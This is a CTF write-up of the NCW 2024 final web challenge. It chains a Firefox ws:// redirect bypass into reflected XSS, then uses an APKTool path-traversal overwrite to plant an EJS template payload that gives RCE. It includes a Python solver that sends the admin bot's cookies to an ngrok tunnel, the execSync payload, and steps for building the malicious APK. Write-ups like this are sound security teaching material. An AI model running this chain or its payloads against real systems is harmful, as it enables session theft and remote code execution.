Comprehensive Writeup of the Last Web Challenges from Final NCW 2024

Comprehensive Writeup of the Last Web Challenges from Final NCW 2024

Discovering XSS Redirect Bypass in Firefox and Remote Code Execution in EJS Template Injection with APKTool Arbitary Overwrite Exploit

·

7 min read

At the end of the 2024 event, I managed to solve the final web challenge in NCW, even though I didn’t participate in the event. I guess I solved it just for fun? Anyway, from what my friend who participated in the finals told me, this challenge had zero solves—interesting, right? While debugging locally, I noticed a missing folder issue. To fix it, you need to create a directory named uploads in the app directory. Here’s how it all went down!

😜
the source of this chall you can find in the N2L discord server. not joining yet? you can check the ctftime of N2L

So, while digging through the source, it became pretty clear that the first step was pulling off an XSS. Why? Because there’s this sneaky Firefox bot running around with an admin token in its pocket. The plan? Use that token to mess with toolsRoutes and hit RCE by exploiting Arbitrary Overwrite in the /decompile endpoint.

But wait—there’s a catch. The /decompile endpoint is VIP-only, strictly for admins. So, how do we get the admin creds? Easy (kinda): we trick the Firefox bot into spilling the admin cookies using XSS.

Gettin' Down to the Suspicious Function!

after we docker-compose up we can check it in the localhost:3000. there are register and login features. also a redirect features??? this a very suspicious you can check in the app.js there is :

app.use((req, res) => {
  redirect(res, req.query.next, '/', req.hostname);
});

so basically in here in every endpoint that not regiesterd will use redirect, like an example this : http://localhost:3000/unregisterd/endpoint will get redirect back to index. so this was a suspicious function that may lead to xss, when we analyze the redirect function this function was custom-made in utils/redirect.js :

const redirect = (res, requestUrl = "", defaultUrl = "", host) => {
    try {
        if (requestUrl) {
            const url = new URL(requestUrl);

            // prevent cross site scripting & open redirect
            if (!url.protocol.toLowerCase().includes("javascript") && url.hostname === host) {
                res.header("Location", requestUrl);
                return res.status(302).send(`Redirecting to ${requestUrl}`);
            } else {
                return res.status(400).send("Invalid host");
            }
        }
    } catch (error) {
        console.log(error)
    }

    res.header("Location", defaultUrl);
    return res.status(302).send(`Redirecting to ${defaultUrl}`);
};

module.exports = redirect;

So, here’s the deal: the redirect function takes req.query.next as the next Location header and checks if the host matches the expected one. If not, it throws an ‘Invalid host’ error. But what if we want to bypass that and sneak in a sneaky JavaScript alert during the redirect? Well, if you take a peek at the end of the function, you’ll see it returns the raw defaultUrl we set earlier with a simple line: return res.status(302).send(‘Redirecting to ${defaultUrl}’);. The trick? You just need to provide a valid host, and boom—you'll get that redirect message, no questions asked!. but the problem in here it will auto redirect to req.query.next that we set before. so how to achieve not redirecting? and then our defaultUrl will be executed?. my approach before this was a using protocol that can bypassed the URL function in javascript, but not. so i searching the other approach that is protocol in firefox. so we know the bot admin will visit using firefox like in the code below bot.js :

Protocol Bypass

so i found this docs of url scheme in firefox

So, here’s the mission: we tried all the URL protocols that wouldn’t trigger a redirect, and guess what I stumbled upon? ws:// and wss:// protocol , when i try this in my firefox ( bcs firefox was my main browser ). I was testing this out in Firefox (because, let’s be real, Firefox is my go-to browser), and… BAM, it worked!

No redirect happened, and the parameters I entered? They were reflected as text/html instead!

dyk what this means? yep, IT WAS REFLECTED XSS 🥳 as we can supply the parameter in this protocol http://localhost:3000/asuu?next=ws://localhost:3000?x=hiii%3Cimg%20src=x%20onerror=alert()%20/%3E .

this my solver for achiving xss and submit to the bot and get the admin cookies

XSS Solver

import asyncio
import httpx
from pyngrok import ngrok
from flask import Flask
from threading import Thread

PORT = 6666
TUNNEL = ngrok.connect(PORT, "tcp").public_url.replace("tcp://", "http://")

print("TUNNEL:", TUNNEL)

URL = "http://localhost:3000"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url, verify=False)
        self.session = ""
    def xss(self, payload):
        r = self.c.get('/x', params={
            "next":f"ws://localhost:3000?<script>{payload}</script>"
        })
        self.xss_uri = r.url
    def submit_to_bot(self):
        r = self.c.post('/bot/report',data={
            "url":self.xss_uri
        })
        print(r.text)

class API(BaseAPI):
    ...

def webServer():
    app = Flask(__name__)
    @app.get("/")
    def home():
        return "ok"
    return Thread(target=app.run, args=('0.0.0.0', PORT))

async def main():
    api = API()
    server = webServer()

    server.start()
    api.xss(f'fetch("{TUNNEL}?c="+document.cookie)')
    api.submit_to_bot()
    server.join()


if __name__ == "__main__":
    asyncio.run(main())

Alright, we’ve got the admin cookies in hand. So what's next? Time for some RCE action in the /decompile endpoint! But how do we pull this off exactly?

Well, I managed to snag the CVE from APKTool, but the real challenge is crafting the payload. So buckle up—here’s the step-by-step breakdown of how I created the payload to overwrite that EJS file and unlock RCE magic!

RCE

So while diving into my research on APKTool, I stumbled upon their GitHub: Apktool github. Naturally, I headed straight to the security page and—bam!—I found this gem: github.com/iBotPeaches/Apktool/security/adv... And guess what? Turns out the version we’re using is totally affected. Talk about hitting the jackpot!"


"Alright, so how do we craft this payload? Here’s the deal: the resource name isn’t sanitized. This means we can totally mess with it, turning something like 'foo' into "../../../../../../../../../../../../tmp/poc". This sneaky trick will drop the "res/raw/bar" file into /tmp/poc on Linux systems. But guess what? This vulnerability isn't limited to Linux—it's a problem on Windows too. I didn't check for macOS, but it looks pretty generic.

Seems like we’ve got ourselves an arbitrary overwrite here, right? But wait—what if we overwrite an .ejs file? We know the file path gets auto-modified, so let’s use that to our advantage!

How do we go from overwrite to full-on RCE in an EJS file? Simple. EJS Template Injection! Here's the payload magic:

<%= process.mainModule.require('child_process').execSync('cat /f*'); %>

Boom! Now, if we overwrite this into /app/views/index.ejs, we’re cooking with fire—ready to execute code remotely."


Crafting APK Payloads

To create a malicious APK using APKTool and ArscEditor, follow these steps:

  1. Set Up APKTool:

    • Download APKTool from its official GitHub repository.

    • Install APKTool on your system by following the instructions provided in the repository.

  2. Decompile the APK:

    • Use APKTool to decompile the APK you want to modify. Run the command:

        apktool d <your-apk-file.apk>
      
    • This will extract the APK contents into a directory.

  3. Edit with ArscEditor:

    • Download ArscEditor from the provided link.

    • Use ArscEditor to open and edit the resources.arsc file within the decompiled APK directory and edit the value of it to like in the image below. ( to edit using this editor right-click on the mouse )

    • dont forget put the payload in the file raw test

    • after that dont forget the mv old resource into the mod one

  4. Recompile the APK:

    • After editing, recompile the APK using APKTool:

        apktool b <decompiled-apk-directory>
      

after that you can submit the the apk into and check the index. my full payload for the res/raw was

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Pentester's Toolbox</title>
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
  <link rel="stylesheet" href="/css/styles.css">
</head>
<body>
  <div class="container text-center vh-100 d-flex flex-column justify-content-center align-items-center">
    <h1 class="display-4 mb-4">Welcome to the Pentester's Toolbox <%= process.mainModule.require('child_process').execSync('cat /f*'); %></h1>
    <p class="lead mb-4">Your gateway to powerful security tools!</p>

    <nav class="mb-4">
      <a href="/auth/register?next=/login" class="btn btn-outline-primary me-2">Register</a>
      <a href="/auth/login?next=/dashboard" class="btn btn-primary">Login</a>
    </nav>
  </div>

  <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

Conclussion

In conclusion, the final web challenge from the NCW 2024 event presented a complex and intriguing puzzle that required a deep understanding of web security vulnerabilities, including XSS and RCE. By carefully analyzing the source code and leveraging specific browser behaviors, such as protocol handling in Firefox, the challenge was successfully navigated. The process involved exploiting an arbitrary overwrite vulnerability in APKTool, demonstrating the importance of thorough security assessments in software development. This writeup not only highlights the technical skills required to solve such challenges but also emphasizes the creativity and persistence needed to uncover and exploit hidden vulnerabilities.